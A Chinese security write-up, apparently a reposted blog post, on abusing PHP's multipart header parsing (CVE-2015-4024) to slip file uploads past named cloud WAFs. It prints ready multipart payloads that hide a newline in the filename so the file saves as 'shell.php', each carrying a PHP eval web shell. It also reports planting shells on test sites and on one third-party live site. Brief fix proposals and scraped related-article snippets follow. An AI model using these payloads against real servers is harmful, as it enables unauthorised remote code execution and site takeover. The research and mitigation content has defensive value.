PHP DOS漏洞的新利用(精华)

目前国内外流行的云WAF厂商有如百度云加速,360网站卫士,加速乐,云盾等。因为PHP远程dos漏洞及PHP官方修复方案的特点,我们成功利用该漏洞绕过了当前主流WAF的文件上传防御,例如百度云加速、360网站卫士、知道创于加速乐、安全狗。

接下来,我们以PHP为例,详细解析我们的绕过方法。

根据PHP DOS漏洞原理,在multipart_buffer_headers函数解析header对应value时,value值存在n行。每行的字符串以空白符开头或不存字符‘:‘,都触发以下合并value的代码块。那么解析header的value就要执行(n-1)次合并value的代码块,从而导致DOS。


1

2

3

4

5

6

7

8

9

10

11

prev_len= strlen(prev_entry.value);

     cur_len= strlen(line);

 

     entry.value= emalloc(prev_len + cur_len + 1); //1次分片内存

     memcpy(entry.value,prev_entry.value, prev_len); //1次拷贝

     memcpy(entry.value+ prev_len, line, cur_len);   //1次拷贝

     entry.value[cur_len+ prev_len] = ‘\0‘;

 

     entry.key= estrdup(prev_entry.key);

 

     zend_llist_remove_tail(header);//1次内存释放

而PHP官方修复方案,在进行合并时,避免重复拷贝,从而避免DOS。绕过WAF的关键在于,PHP multipart_buffer_headers函数解析header对应value时,value值存在多行。每行的字符串以空白符开头或不存字符‘:‘,将进行合并。而WAF在解析文件上传的文件名时,没有考虑协议兼容,不进行多行合并,就可以被绕过。

根据原理构造绕过WAF文件上传防御的payload,WAF解析到的文件名为”test3.jpg”,而PHP解析到的文件名是“test3.jpg\nf/shell.php”,因为”/”是目录分隔符,上传的文件名变为shell.php。以下是绕过paylaod、测试脚本、paylaod进行文件上传的效果图。

WAF绕过payload:


1

2

3

4

5

6

------WebKitFormBoundaryx7V4AhipWn8ig52y

Content-Disposition: form-data; name="file"; filename="test3.jpg\nsf/shell.php

Content-Type: application/octet-stream

<?php eval($_GET[‘c‘])?>

------WebKitFormBoundaryx7V4AhipWn8ig52y

文件上传功能测试脚:


1

2

3

4

5

6

7

8

9

<?php

         $name = $_FILES[‘file‘][‘name‘];

        echo $name;

        echo "\n";

        move_uploaded_file($_FILES[‘file‘][‘tmp_name‘] , ‘/usr/local/nginx/html/upload/‘.$_FILES[‘file‘][‘name‘]);

        echo "upload success! ".$_FILES[‘file‘][‘name‘];

        echo "\n";

        echo strlen($_FILES[‘file‘][‘name‘]);

?>

Payload能够正常上传

0x02 绕过WAF实战



笔者通过搭建自己的测试站,接入360网站卫士和加速乐,验证绕过WAF文件上传防御的方法。

2.1 绕过360网站卫士

步骤1,验证网站已被360网站卫士防御,拦截了直接上传PHP文件的请求。

步骤2:成功绕过360网站卫士,上传shell成功,文件是apo.php。在该请求中,有没有Content-Type不影响绕过。

2.2 绕过知道创宇加速乐

步骤一:验证网站被加速乐保护,拦截了直接上传PHP文件的请求。

步骤二:

成功绕过加速乐,上传shell,文件是syt.php。

2.3 绕过百度云加速

百度云加速与CloudFlare,从百度匀加速拦截页面可以看出使用的是CloudFlare. 但是估计有本地化,百度云加速应该是百度和CloudFlare共同产物吧。测试百度没有搭建自己的测试环境,找了个接入了百度云加速的站进行测试。

步骤一:验证网站被百度云加速保护,拦截了直接上传PHP文件的请求。

步骤二:成功绕过云加速

2.4 安全狗的测试

用该方法测试安全狗的文件上传,


1

2

3

Content-Disposition: form-data; name="file"; filename="2.php

aa:

Content-Type: image/jpeg

php与aa这间的是%0a,处理请求的Apache进程直接崩溃。感觉可以溢出,没有深入。

2.5 CloudFlare的测试

为了测试能否绕过国外版的CloudFlare,特意买了它的服务。结果,在规则全开的情况下,竞然不拦截文件上传。

2.6 Amazon WAF

亚马逊的WAF没有规则,所有规则需要用户配置。在配置的选项里,没有文件上传的选项,所以也就没有绕过的说法。国内WAF和国外WAF的区别挺大,为什么这么设计还是值得深思。

我们还绕过了其他WAF,这里不一一列举。

0x03 扩展—更多的工作


3.1 分析filename其他字符的绕过

同理,我们发现除了双引号外,使用单引号也能绕过WAF的防御,并实现文件上传。


1

2

3

4

5

6

------WebKitFormBoundaryx7V4AhipWn8ig52y

Content-Disposition: form-data; name="file"; filename=‘test3.jpg\nsf/shell.php

Content-Type: application/octet-stream

<?php eval($_GET[‘c‘])?>

------WebKitFormBoundaryx7V4AhipWn8ig52y

3.2 分析其他应用脚本语言

我们也发现jsp解析也有自己的特点,同时可被用于绕过WAF。暂时未测试asp,aspx,python等常用的WEB应用脚本语言。

0x04 修复方案


4.1 修复方案一

解析文件上传请求时,如果发现请求不符合协议规范,则拒绝请求。可能会产生误拦截,需要评估误拦截的影响范围。

4.2 修复方案二

兼容php的文件解析方式,解析文件名时,以单引号或双引号开头,并且对应的单引号或双引号闭合。

0x05 总结



本文通过Review PHP远程dos漏洞(CVE-2015-4024),并利用该特性绕过现有WAF的文件上传防御,成功上传shell。 更重要的价值,提供给我们一个绕过WAF的新思路,一种研究新方向:利用后端应用脚本与WAF行为的差异绕过WAF的防御。总的来说,一款优秀的WAF应该能够处理兼容WEB应用容器、标准协议、web服务器这间的差异。

2016 01 17

小kBy:6971689

时间: 2024-12-29 10:52:46

PHP DOS漏洞的新利用(精华)的相关文章

PHP DOS漏洞的新利用:CVE-2015-4024 Reviewed

1.     背景介绍 今天我们想从2015.04.03的一个PHP远程dos漏洞(CVE-2015-4024)说起.技术细节见如下链接,https://bugs.php.net/bug.php?id=69364.因为php解析body part的header时进行字符串拼接,而拼接过程重复拷贝字符导致DOS.事实上该漏洞还有其他非dos的利用价值,其中之一,就是绕过当前各种云WAF的文件上传防御策略. 目前国内外流行的云WAF厂商有如百度云加速,360网站卫士,加速乐,云盾等.因为PHP远程d

PHP多个版本爆出远程DOS漏洞

近日,php多个版本爆出远程DoS漏洞(官方编号69364),利用该漏洞构造poc发起链接,很容易导致目标主机cpu的100%占用率,绿盟科技威胁响应中心随即启动应急机制, 启动应急响应工作,总结PHP漏洞要点,并制定了一系列防护方案. 受此漏洞影响的软件及系统包括PHP的版本有: ? PHP 5.0.0 - 5.0.5 ? PHP 5.1.0 - 5.1.6 ? PHP 5.2.0 - 5.2.17 ? PHP 5.3.0 - 5.3.29 ? PHP 5.4.0 - 5.4.40 ? PHP

重现apache commons fileupload DOS漏洞

新国九公布后,市场对股市的预期有了变化,股市出现了一波反弹.不过,出人意料的是,反弹的主角并非大家一致公认受益于政策的券商股,而是有色金属与煤炭板块.市场人士认为,除了镍,今年初被印尼实施禁止原矿出口政策,尚有涨幅空间之外,其他有色股或将只有一日游行情,必难有持续上涨之可能. 专家们认为最近之所以出现的"煤飞色舞"的行情,原因有二:一方面近几年下来,有色煤炭的股价已经跌得比较低.累计跌幅巨大,遇到利好总会有一些资金愿意尝试做反弹:另一方面中国经济的持续低迷,这种状况历史上一般不会长期存

CVE-2014-0322漏洞成因与利用分析

CVE-2014-0322漏洞成因与利用分析 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存,对指定内存处的值进行了加1.其特点在于攻击者结合flash实现了对漏洞的利用,第一次分析这种IE+Flash组合的漏洞利用因此写下此文档作为记录. 2. 实验环境 操作系统:Win7 SP1 浏览器:IE 10.0.9200.16798(补丁打到MS14-010(KB2909921)) 漏洞编号:CVE-2014-0322 微软补丁:MS14-012 3. 漏洞

CVE-2013-3897漏洞成因与利用分析(UAF类漏洞分析流程)

CVE-2013-3897漏洞成因与利用分析(UAF类漏洞分析流程) 1. 简介 此漏洞是UAF(Use After Free)类漏洞,即引用了已经释放的内存.攻击者可以利用此类漏洞实现远程代码执行.UAF漏洞的根源源于对对象引用计数的处理不当,比如在编写程序时忘记AddRef或者多加了Release,最终导致对象的释放.对于IE的大部分对象(COM编程实现)来说,+4偏移处的含义是该对象的引用计数,可以通过跟踪它来定位补丁前后的位置及被释放的位置.+0偏移处的含义是该对象的虚函数表指针,可以通

PHP远程DoS漏洞深入分析及防护方案

5月14日,国内爆出php远程DoS漏洞,官方编号69364.利用该漏洞构造poc发起链接,很容易导致目标主机cpu的占用率100%,涉及PHP多个版本.绿盟科技威胁响应中心随即启动应急机制, 应急响应工作随即启动. 15日夜,启动漏洞分析工作,同步将分析结果发送产品团队: 16日,发布产品规则升级通告,绿盟科技RSAS产品升级相继就绪,客户通过在线及离线升级的方法,即可获得漏洞的检测能力:同时,在线漏洞检测引擎就绪: 17日,漏洞深入分析进行中.绿盟科技NIPS产品升级就绪,客户通过在线及离线

英特尔、微软公布漏洞出现新变体 未来几周发布补丁

北京时间5月22日凌晨消息,本周一,英特尔和微软公布了一个Spectre and Meltdown安全漏洞的新变体,存在该漏洞的芯片被广泛应用于计算机和移动设备上. www.ljhseo.comwww.xyrjkf.netwww.xyrjkf.cnwww.xyrjkf.com.cnwww.zjdygsi.cnwww.zjdaiyun.cnwww.jsdygsi.cnwww.xyrjkf.topwww.xyrjkf.comwww.daiyunzj.cnljhseo.comxyrjkf.netxyr

PHP远程DoS漏洞深入分析快三红黑玩法及防护方案源码搭建

PHP远程DoS漏洞 PHP远程DoS漏洞深入分析快三红黑玩法(企鹅:212303635)及防护方案源码搭建(aqiulian.com) 4月3日,有人在PHP官网提交PHP 远程DoS漏洞(PHP Multipart/form-data remote dos Vulnerability),代号69364.由于该漏洞涉及PHP的所有版本,故其影响面较大,一经发布迅速引发多方面关注.14日,各种PoC已经在网络上流传.此次漏洞具备如下特性: 一旦被利用成功,可以在迅速消耗被***主机的CPU资源,

预警| Confluence 高危漏洞被大规模利用,阿里云WAF接入即可防护,支持免费应急服务

2019年4月4日,阿里云安全应急响应中心监测到Confluence 官方发布安全更新指出,Widget Connector 存在服务端模板注入漏洞,攻击者能利用此漏洞实现目录穿越遍历甚至远程命令执行.4月10日远程命令执行PoC被公开,阿里云监测到此漏洞被大规模利用,4月12日凌晨攻击流量达到第二次高峰. 4月6日出现第一次大规模攻击,全天攻击次数超过5000次,阿里云WAF默认规则均成功防御.攻击特征为任意文件读取,攻击者通过构造特定请求读取本地敏感文件信息. 直到4月7日,第一波攻击结束,